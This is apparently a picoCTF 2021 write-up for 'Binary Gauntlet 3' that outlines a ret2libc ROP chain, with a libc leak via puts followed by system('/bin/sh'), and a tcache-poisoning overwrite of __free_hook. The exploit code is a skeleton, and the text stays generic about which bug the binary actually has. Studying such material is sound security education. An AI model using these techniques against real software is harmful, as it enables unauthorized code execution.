Binary Gauntlet 3 picoCTF 2021 Solution

Published: April 2, 2026

Description

Level 4 of Binary Gauntlet - the final stage. Analyze the binary carefully for a more advanced vulnerability and build a complete exploit chain.

Download the binary, check mitigations, and analyze with GDB/pwndbg.

bash
wget https://mercury.picoctf.net/static/.../vuln
bash
chmod +x vuln
bash
checksec vuln
  1. Step 1Static analysis with Ghidra or GDB
    Disassemble the binary to understand its structure. Look for dangerous function calls: gets(), scanf(), strcpy(), sprintf() without length limits, or malloc/free patterns indicating heap use.
    bash
    objdump -d vuln | less
    bash
    strings vuln | grep -i 'flag\|win\|shell\|system'
    bash
    gdb -q vuln
    bash
    # In GDB: info functions, disas main, disas vuln
    Learn more

    Advanced binary exploitation requires methodical vulnerability discovery. Start with static analysis: identify all dangerous function calls (unsafe string functions, format functions, heap allocators), then understand the data flow to see how attacker-controlled input reaches those calls.

    Common advanced vulnerabilities in CTF binary challenges:

    • Heap overflow: Writing past the end of a heap-allocated buffer, corrupting heap metadata or adjacent chunk contents.
    • Use-after-free (UAF): Using a pointer after the memory it points to has been freed. The freed memory may be reallocated for a different purpose, leading to type confusion.
    • Double free: Freeing a pointer twice, corrupting the heap allocator's free list.
    • Off-by-one: Writing exactly one byte past the end of a buffer, which may overwrite the lowest byte of a saved frame pointer or heap chunk size.
  2. Step 2Craft the exploit with pwntools
    Based on the vulnerability found, build the exploit. For heap exploitation, use pwndbg's heap commands to visualize chunk layout. For BOF with full mitigations, build a multi-stage ROP chain with libc leak.
    python
    python3 - <<'EOF'
    from pwn import *
    
    context.binary = e = ELF('./vuln')
    context.arch = 'amd64'
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    # Stage 1: Leak libc base (if ASLR enabled)
    # ... craft leak payload ...
    
    # Stage 2: Exploit with real addresses
    # ... craft shell payload ...
    
    p.interactive()
    EOF
    Learn more

    Two-stage layout of a fully-mitigated exploit.

    Stage 1 -- LEAK
      payload1 = 'A'*offset
               + p64(pop_rdi)
               + p64(elf.got['puts'])     # arg1 to puts()
               + p64(elf.plt['puts'])     # call puts(puts@got)
               + p64(elf.sym['main'])     # return to main, ready for stage 2
    
      receive line, parse 8 bytes:
        leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
        libc.address = leaked - libc.sym['puts']
    
    Stage 2 -- EXECUTE
      payload2 = 'A'*offset
               + p64(ret)                 # 16-byte align before system
               + p64(pop_rdi)
               + p64(next(libc.search(b'/bin/sh\x00')))
               + p64(libc.sym['system'])

    Why returning to main works. The vulnerable function's frame is destroyed when it returns, but main (or whatever called it) is set up to read input again. So after stage 1 leaks via puts, the chain's final p64(main) restarts the read loop with the same overflow primitive, this time with libc addresses you can compute.

    Heap variant: tcache poisoning. If the binary is heap-based instead, the chunk metadata layout you need to reason about looks like this:

    Allocated chunk          Freed chunk in tcache (glibc < 2.32)
      +-----------+            +-----------+
      | prev_size |            | prev_size |
      | size  |APM|            | size  |APM|
      +-----------+            +-----------+
      | data...   |            | fd -> next|  <- attacker overwrites fd
      +-----------+            +-----------+
    
    After overwriting fd to point at &__free_hook:
      malloc(size) -> chunk_orig          (consumes head)
      malloc(size) -> &__free_hook        (returns attacker-chosen addr)
      *bytes = one_gadget                 (writes one_gadget into __free_hook)
      free(any_chunk)                     -> calls __free_hook(any_chunk)
                                          -> jumps to one_gadget -> /bin/sh

    pwndbg (a GDB plugin) provides essential heap analysis: heap shows all chunks, bins shows freelist state, vis_heap_chunks visualizes chunk layout, and malloc_chunk addr parses a specific chunk header.

Flag

picoCTF{...}

Advanced binary exploitation requires identifying the specific vulnerability class (heap, format string, BOF), building a leak primitive to defeat ASLR, then chaining a write primitive to redirect execution.

Want more picoCTF 2021 writeups?

Tools used in this challenge

Related reading

What to try next